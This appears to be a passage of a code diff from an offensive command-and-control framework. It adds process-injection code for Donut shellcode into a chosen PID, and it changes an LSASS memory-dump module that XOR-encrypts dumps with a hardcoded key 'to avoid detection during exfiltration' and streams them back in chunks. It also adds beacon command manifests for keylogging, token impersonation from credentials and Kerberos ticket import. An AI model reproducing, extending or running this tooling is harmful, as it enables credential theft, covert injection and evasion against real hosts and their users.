std::cerr << "testsInjectFunctional init failed:\n" << message.returnvalue() << '\n';
|
||||
return 1;
|
||||
generatedPath = generated.path;
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = generated.path.string();
|
||||
task.payload = generated.bytes;
|
||||
task.pid = parsedPid;
|
||||
task.displayCommand = kind == "dll"
|
||||
? "--donut-dll " + payload + " --pid " + pid + " --method " + method + " -- " + arguments
|
||||
: "--donut-exe " + payload + " --pid " + pid + " -- " + arguments;
|
||||
if (module.initPreparedShellcode(task, message) != 0)
|
||||
{
|
||||
std::cerr << "testsInjectFunctional prepared init failed:\n" << message.returnvalue() << '\n';
|
||||
std::filesystem::remove(generatedPath);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
std::cout << "testsInjectFunctional init OK\n";
|
||||
@@ -145,6 +185,10 @@ int main(int argc, char** argv)
|
||||
if (!execute)
|
||||
{
|
||||
std::cout << "execution skipped; pass --execute to run the module process path.\n";
|
||||
if (!generatedPath.empty())
|
||||
{
|
||||
std::filesystem::remove(generatedPath);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -165,5 +209,9 @@ int main(int argc, char** argv)
|
||||
C2Message result;
|
||||
module.process(message, result);
|
||||
std::cout << result.returnvalue() << '\n';
|
||||
if (!generatedPath.empty())
|
||||
{
|
||||
std::filesystem::remove(generatedPath);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
#include "../Inject.hpp"
|
||||
#include "../../AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp"
|
||||
#include "../../tests/TestHelpers.hpp"
|
||||
|
||||
#include <filesystem>
|
||||
@@ -39,6 +40,41 @@ bool expectInjectMessage(const C2Message& message,
|
||||
return ok;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
bool expectPreparedDonutMessage(const std::filesystem::path& sourcePath,
|
||||
int expectedPid,
|
||||
const std::string& arguments,
|
||||
const std::string& arch,
|
||||
const std::string& displayCommand,
|
||||
const std::string& label)
|
||||
{
|
||||
bool ok = true;
|
||||
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
|
||||
sourcePath.string(),
|
||||
"",
|
||||
arguments,
|
||||
arch,
|
||||
true);
|
||||
ok &= expect(generated.ok, label + ": Donut test shellcode should be generated: " + generated.error);
|
||||
if (!ok)
|
||||
return false;
|
||||
|
||||
Inject module;
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = generated.path.string();
|
||||
task.payload = generated.bytes;
|
||||
task.pid = expectedPid;
|
||||
task.displayCommand = displayCommand;
|
||||
|
||||
C2Message message;
|
||||
ok &= expect(module.initPreparedShellcode(task, message) == 0, label + ": prepared shellcode should be packed");
|
||||
ok &= expectInjectMessage(message, generated.path, expectedPid, displayCommand, label);
|
||||
ok &= expect(message.data() == generated.bytes, label + ": generated shellcode bytes should be packed");
|
||||
std::filesystem::remove(generated.path);
|
||||
return ok;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
class ChildProcess
|
||||
{
|
||||
@@ -166,7 +202,7 @@ int main()
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == -1, "unknown payload option should be rejected");
|
||||
ok &= expect(message.returnvalue().find("One of the tags") != std::string::npos, "unknown payload option should explain accepted tags");
|
||||
ok &= expect(message.returnvalue().find("Unknown inject option") != std::string::npos, "unknown payload option should explain the failure");
|
||||
}
|
||||
|
||||
{
|
||||
@@ -178,6 +214,24 @@ int main()
|
||||
ok &= expect(message.returnvalue().find("Method is mandatory") != std::string::npos, "DLL mode should explain missing method");
|
||||
}
|
||||
|
||||
{
|
||||
Inject module;
|
||||
std::vector<std::string> cmd = {"inject", "--donut-exe", "payload.exe", "--pid", "1234", "--", "alpha", "beta"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == -1, "Donut EXE mode should be delegated to TeamServer");
|
||||
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut delegation should explain TeamServer ownership");
|
||||
}
|
||||
|
||||
{
|
||||
Inject module;
|
||||
std::vector<std::string> cmd = {"inject", "--donut-dll", "payload.dll", "--pid", "1234", "--method", "Run"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == -1, "Donut DLL mode should be delegated to TeamServer");
|
||||
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut DLL delegation should explain TeamServer ownership");
|
||||
}
|
||||
|
||||
{
|
||||
const auto raw = writeTempFile("c2core_inject_empty_raw.bin", "");
|
||||
Inject module;
|
||||
@@ -226,11 +280,28 @@ int main()
|
||||
{
|
||||
Inject module;
|
||||
module.setWindowsArch(currentArch);
|
||||
std::vector<std::string> cmd = {"inject", "-e", dummyPath.string(), "1234", "alpha", "beta gamma"};
|
||||
std::vector<std::string> cmd = {"inject", "--donut-exe", dummyPath.string(), "--pid", "1234", "--", "alpha", "beta gamma"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted by Donut EXE mode");
|
||||
ok &= expectInjectMessage(message, dummyPath, 1234, "alpha beta gamma", "dummy exe Donut mode with args");
|
||||
ok &= expect(module.init(cmd, message) == -1, "dummy exe Donut mode should be prepared by TeamServer");
|
||||
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "dummy exe Donut mode should explain TeamServer preparation");
|
||||
ok &= expectPreparedDonutMessage(
|
||||
dummyPath,
|
||||
1234,
|
||||
"alpha beta gamma",
|
||||
currentArch,
|
||||
"--donut-exe " + dummyPath.string() + " --pid 1234 -- alpha beta gamma",
|
||||
"dummy exe TeamServer-prepared Donut inject");
|
||||
}
|
||||
|
||||
{
|
||||
ok &= expectPreparedDonutMessage(
|
||||
dummyPath,
|
||||
-1,
|
||||
"--spawn",
|
||||
currentArch,
|
||||
"--donut-exe " + dummyPath.string() + " --pid -1 -- --spawn",
|
||||
"dummy exe TeamServer-prepared Donut spawn inject");
|
||||
}
|
||||
|
||||
{
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "ipConfig",
|
||||
"display_name": "ipConfig",
|
||||
"kind": "module",
|
||||
"description": "Show network interface configuration on the beacon.",
|
||||
"command_template": "ipConfig",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["ipConfig"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -67,12 +67,12 @@ KerberosUseTicket::~KerberosUseTicket()
|
||||
std::string KerberosUseTicket::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "KerberosUseTicket:\n";
|
||||
info += "Import a kerberos ticket from a file to the curent LUID. \n";
|
||||
info += "exemple:\n";
|
||||
info += "- KerberosUseTicket /tmp/ticket.kirbi\n";
|
||||
#endif
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "KerberosUseTicket:\n";
|
||||
info += "Import a kerberos ticket upload artifact to the curent LUID. \n";
|
||||
info += "exemple:\n";
|
||||
info += "- kerberosUseTicket ticket.kirbi\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
@@ -188,4 +188,4 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket)
|
||||
#endif
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"name": "kerberosUseTicket",
|
||||
"display_name": "kerberosUseTicket",
|
||||
"kind": "module",
|
||||
"description": "Import a Kerberos ticket upload artifact into the current LUID.",
|
||||
"command_template": "kerberosUseTicket {ticket_artifact:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "ticket_artifact",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": ".kirbi ticket artifact from UploadedArtifacts.",
|
||||
"artifact_filter": {
|
||||
"category": "upload",
|
||||
"scope": "operator",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "file",
|
||||
"name_contains": ".kirbi"
|
||||
}
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"kerberosUseTicket ticket.kirbi"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"name": "keyLogger",
|
||||
"display_name": "keyLogger",
|
||||
"kind": "module",
|
||||
"description": "Start, stop, or locally dump the keylogger buffer.",
|
||||
"command_template": "keyLogger {action}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "Keylogger action. dump is handled locally by the TeamServer module instance.",
|
||||
"values": ["start", "stop", "dump"]
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"keyLogger start",
|
||||
"keyLogger stop",
|
||||
"keyLogger dump"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"name": "killProcess",
|
||||
"display_name": "killProcess",
|
||||
"kind": "module",
|
||||
"description": "Terminate a process on the beacon host by PID.",
|
||||
"command_template": "killProcess {pid}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "pid",
|
||||
"type": "number",
|
||||
"required": true,
|
||||
"description": "Process id to terminate."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"killProcess 4242"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"name": "ls",
|
||||
"display_name": "ls",
|
||||
"kind": "module",
|
||||
"description": "List the contents of a directory on the beacon.",
|
||||
"command_template": "ls {path:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": false,
|
||||
"description": "Remote directory path. Defaults to the beacon current working directory.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"ls",
|
||||
"ls /tmp",
|
||||
"ls C:\\Users\\Public"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "ps",
|
||||
"display_name": "ps",
|
||||
"kind": "module",
|
||||
"description": "List running processes on the beacon.",
|
||||
"command_template": "ps",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["ps"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
{
|
||||
"name": "makeToken",
|
||||
"display_name": "makeToken",
|
||||
"kind": "module",
|
||||
"description": "Create and impersonate a token from explicit credentials.",
|
||||
"command_template": "makeToken {username:q} {password:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "username",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Username in Username or DOMAIN\\Username form."
|
||||
},
|
||||
{
|
||||
"name": "password",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Password for the supplied username."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"makeToken DOMAIN\\Username Password123!"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -1,7 +1,9 @@
|
||||
#include "MiniDump.hpp"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
#include <array>
|
||||
#include <utility>
|
||||
#include <vector>
|
||||
|
||||
#ifdef _WIN32
|
||||
@@ -23,6 +25,7 @@ using namespace std;
|
||||
|
||||
constexpr std::string_view moduleName = "miniDump";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024;
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
@@ -169,7 +172,7 @@ __attribute__((visibility("default"))) MiniDump* MiniDumpConstructor()
|
||||
|
||||
|
||||
MiniDump::MiniDump()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
@@ -188,18 +191,18 @@ MiniDump::~MiniDump()
|
||||
std::string MiniDump::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
info += "MiniDump Module:\n";
|
||||
info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n";
|
||||
info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n";
|
||||
info += "Dump the LSASS process memory and return it as an XOR-encrypted generated TeamServer artifact.\n";
|
||||
info += "The XORed dump can then be decrypted locally with the decrypt action.\n\n";
|
||||
info += "Usage:\n";
|
||||
info += " miniDump dump dmpFile.xored\n";
|
||||
info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n";
|
||||
info += " miniDump dump [artifactName]\n";
|
||||
info += " - Dumps LSASS memory to an XOR-encrypted generated artifact (e.g., lsass.xored)\n\n";
|
||||
info += " miniDump decrypt <path_to_xored_dump>\n";
|
||||
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
|
||||
info += "Note:\n";
|
||||
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
|
||||
info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n";
|
||||
info += " - Use the 'decrypt' command locally to convert it back to a usable minidump.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
@@ -212,7 +215,7 @@ std::string xorKey = "nY5LkT7dXmiWeF2QApDLMQmnHaCR4VzsC6zuN3QgZtTqU7qaaf";
|
||||
|
||||
int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
|
||||
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
|
||||
{
|
||||
@@ -271,6 +274,42 @@ int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int MiniDump::emitChunk(C2Message& c2RetMessage)
|
||||
{
|
||||
if (m_dumpBuffer.empty() || m_bytesSent >= m_dumpBuffer.size())
|
||||
return 0;
|
||||
|
||||
const std::size_t totalSize = m_dumpBuffer.size();
|
||||
const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent);
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_uuid(m_taskUuid);
|
||||
c2RetMessage.set_outputfile(m_outputfile);
|
||||
c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1");
|
||||
c2RetMessage.set_data(m_dumpBuffer.data() + m_bytesSent, chunkSize);
|
||||
|
||||
m_bytesSent += chunkSize;
|
||||
if (m_bytesSent == totalSize)
|
||||
{
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_outputfile.clear();
|
||||
m_taskUuid.clear();
|
||||
m_dumpBuffer.clear();
|
||||
m_bytesSent = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize));
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int MiniDump::recurringExec(C2Message& c2RetMessage)
|
||||
{
|
||||
return emitChunk(c2RetMessage);
|
||||
}
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
@@ -823,16 +862,11 @@ int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
|
||||
XOR(dumpfile, xorKey);
|
||||
|
||||
// Save to file
|
||||
std::string dmpFileName = c2Message.outputfile();
|
||||
bool writeOk = WriteStringToFile(dmpFileName, dumpfile);
|
||||
if(!writeOk)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_outputfile = c2Message.outputfile();
|
||||
m_taskUuid = c2Message.uuid();
|
||||
m_dumpBuffer = std::move(dumpfile);
|
||||
m_bytesSent = 0;
|
||||
emitChunk(c2RetMessage);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -863,4 +897,4 @@ int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMs
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,6 +13,7 @@ public:
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int recurringExec(C2Message& c2RetMessage) override;
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
@@ -21,7 +22,12 @@ public:
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
int emitChunk(C2Message& c2RetMessage);
|
||||
|
||||
std::string m_outputfile;
|
||||
std::string m_taskUuid;
|
||||
std::string m_dumpBuffer;
|
||||
std::size_t m_bytesSent = 0;
|
||||
};
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"name": "miniDump",
|
||||
"display_name": "miniDump",
|
||||
"kind": "module",
|
||||
"description": "Dump LSASS to an XORed generated TeamServer artifact, or decrypt an XORed dump locally.",
|
||||
"command_template": "miniDump {action} {artifact_name:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "MiniDump action.",
|
||||
"values": ["dump", "decrypt"]
|
||||
},
|
||||
{
|
||||
"name": "artifact_name",
|
||||
"type": "path",
|
||||
"required": false,
|
||||
"description": "Optional generated artifact filename hint for dump, or input XORed dump path for decrypt."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"miniDump dump",
|
||||
"miniDump dump lsass.xored",
|
||||
"miniDump decrypt /tmp/lsass.xored"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
#include "../MiniDump.hpp"
|
||||
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
|
||||
#ifdef __linux__
|
||||
#elif _WIN32
|
||||
@@ -26,5 +27,25 @@ int main()
|
||||
|
||||
bool testMinidump()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
bool ok = true;
|
||||
|
||||
{
|
||||
MiniDump module;
|
||||
std::vector<std::string> cmd = {"miniDump", "dump", "lsass.xored"};
|
||||
C2Message message;
|
||||
ok &= module.init(cmd, message) == 0;
|
||||
ok &= message.instruction() == "miniDump";
|
||||
ok &= message.cmd() == "0";
|
||||
ok &= message.outputfile() == "lsass.xored";
|
||||
}
|
||||
|
||||
{
|
||||
MiniDump module;
|
||||
std::vector<std::string> cmd = {"miniDump", "dump"};
|
||||
C2Message message;
|
||||
ok &= module.init(cmd, message) == -1;
|
||||
ok &= message.returnvalue().find("MiniDump") != std::string::npos;
|
||||
}
|
||||
|
||||
return ok;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "mkDir",
|
||||
"display_name": "mkDir",
|
||||
"kind": "module",
|
||||
"description": "Create a remote directory on the beacon.",
|
||||
"command_template": "mkDir {path:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Remote directory path.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"mkDir /tmp/work",
|
||||
"mkDir C:\\Temp\\work"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -1,4 +1,6 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <base64.h>
|
||||
#include "nlohmann/json.hpp"
|
||||
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "end",
|
||||
"display_name": "end",
|
||||
"kind": "common",
|
||||
"description": "Terminate the beacon process.",
|
||||
"command_template": "end",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["end"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "help",
|
||||
"display_name": "help",
|
||||
"kind": "common",
|
||||
"description": "Show available commands or command-specific help in the beacon console.",
|
||||
"command_template": "help {command?}",
|
||||
"target": "operator",
|
||||
"requires_session": false,
|
||||
"platforms": ["any"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "command",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional command name."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"help",
|
||||
"help loadModule",
|
||||
"help listener"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "listModule",
|
||||
"display_name": "listModule",
|
||||
"kind": "common",
|
||||
"description": "List modules currently tracked for the active beacon session.",
|
||||
"command_template": "listModule",
|
||||
"target": "operator",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["listModule"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
{
|
||||
"name": "listener",
|
||||
"display_name": "listener",
|
||||
"kind": "common",
|
||||
"description": "Start or stop a TCP/SMB listener on the beacon.",
|
||||
"command_template": "listener {action} {type_or_hash} {host_or_pipe:q?} {tcp_port?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "Listener action.",
|
||||
"values": ["start", "stop"]
|
||||
},
|
||||
{
|
||||
"name": "type_or_hash",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Listener type for start, or listener hash for stop.",
|
||||
"values": ["tcp", "smb"]
|
||||
},
|
||||
{
|
||||
"name": "host_or_pipe",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "TCP host/IP for start tcp, or SMB pipe name for start smb."
|
||||
},
|
||||
{
|
||||
"name": "tcp_port",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "TCP port for start tcp. Not used for SMB."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"listener start tcp 10.2.4.8 4444",
|
||||
"listener start smb pipe1",
|
||||
"listener stop <listener_hash>"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "loadModule",
|
||||
"display_name": "loadModule",
|
||||
"kind": "common",
|
||||
"description": "Load a beacon module into the current session.",
|
||||
"command_template": "loadModule {module:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["x86", "x64", "arm64", "any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "module",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": "Module artifact compatible with the current session.",
|
||||
"artifact_filter": {
|
||||
"category": "module",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "native"
|
||||
}
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"loadModule Inject.dll",
|
||||
"loadModule pwd"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"name": "sleep",
|
||||
"display_name": "sleep",
|
||||
"kind": "common",
|
||||
"description": "Set the beacon sleep interval in seconds.",
|
||||
"command_template": "sleep {seconds}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "seconds",
|
||||
"type": "number",
|
||||
"required": true,
|
||||
"description": "Sleep interval in seconds."
|
||||
}
|
||||
],
|
||||
"examples": ["sleep 0.5"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "unloadModule",
|
||||
"display_name": "unloadModule",
|
||||
"kind": "common",
|
||||
"description": "Unload a previously loaded beacon module from the current session.",
|
||||
"command_template": "unloadModule {module_name}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "module_name",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Loaded module command name."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"unloadModule pwd",
|
||||
"unloadModule assemblyExec"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include <cmath>
|
||||
#include <stdexcept>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <random>
|
||||
@@ -44,6 +46,46 @@ const std::string CmdStatusSuccess = "Success";
|
||||
const std::string CmdStatusFail = "Fail";
|
||||
const std::string CmdModuleNotFound = "Module not loaded";
|
||||
|
||||
static inline bool parseTcpListenerPort(const std::string& value, int& port)
|
||||
{
|
||||
if (value.empty())
|
||||
return false;
|
||||
|
||||
std::size_t parsed = 0;
|
||||
try
|
||||
{
|
||||
int parsedPort = std::stoi(value, &parsed);
|
||||
if (parsed != value.size() || parsedPort < 1 || parsedPort > 65535)
|
||||
return false;
|
||||
port = parsedPort;
|
||||
return true;
|
||||
}
|
||||
catch (const std::exception&)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static inline bool parseSleepSeconds(const std::string& value, float& seconds)
|
||||
{
|
||||
if (value.empty())
|
||||
return false;
|
||||
|
||||
std::size_t parsed = 0;
|
||||
try
|
||||
{
|
||||
float parsedSeconds = std::stof(value, &parsed);
|
||||
if (parsed != value.size() || !std::isfinite(parsedSeconds) || parsedSeconds < 0.0f)
|
||||
return false;
|
||||
seconds = parsedSeconds;
|
||||
return true;
|
||||
}
|
||||
catch (const std::exception&)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
|
||||
@@ -131,8 +173,9 @@ class CommonCommands
|
||||
output += " Examples:\n";
|
||||
output += " - listener start tcp <IP> <port>\n";
|
||||
output += " - listener start tcp 10.2.4.8 4444\n";
|
||||
output += " - listener start smb <IP/hostname> <pipename>\n";
|
||||
output += " - listener start smb pipename\n";
|
||||
output += " Port must be an integer between 1 and 65535.\n";
|
||||
output += " - listener start smb <pipename>\n";
|
||||
output += " - listener start smb pipe1\n";
|
||||
}
|
||||
else if (cmd == LoadC2ModuleCmd)
|
||||
{
|
||||
@@ -173,14 +216,10 @@ class CommonCommands
|
||||
{
|
||||
if(splitedCmd.size()==2)
|
||||
{
|
||||
float sleepTimeSec=5;
|
||||
try
|
||||
float sleepTimeSec=0.0f;
|
||||
if (!parseSleepSeconds(splitedCmd[1], sleepTimeSec))
|
||||
{
|
||||
sleepTimeSec = atof(splitedCmd[1].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
std::cerr << "Invalid argument: " << ia.what() << '\n';
|
||||
c2Message.set_returnvalue("Error: Invalid sleep interval. Expected a numeric value greater than or equal to 0.");
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(SleepCmd);
|
||||
@@ -214,13 +253,9 @@ class CommonCommands
|
||||
{
|
||||
std::string host = splitedCmd[3];
|
||||
int port=-1;
|
||||
try
|
||||
if (!parseTcpListenerPort(splitedCmd[4], port))
|
||||
{
|
||||
port = std::atoi(splitedCmd[4].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
std::cerr << "Invalid argument: " << ia.what() << '\n';
|
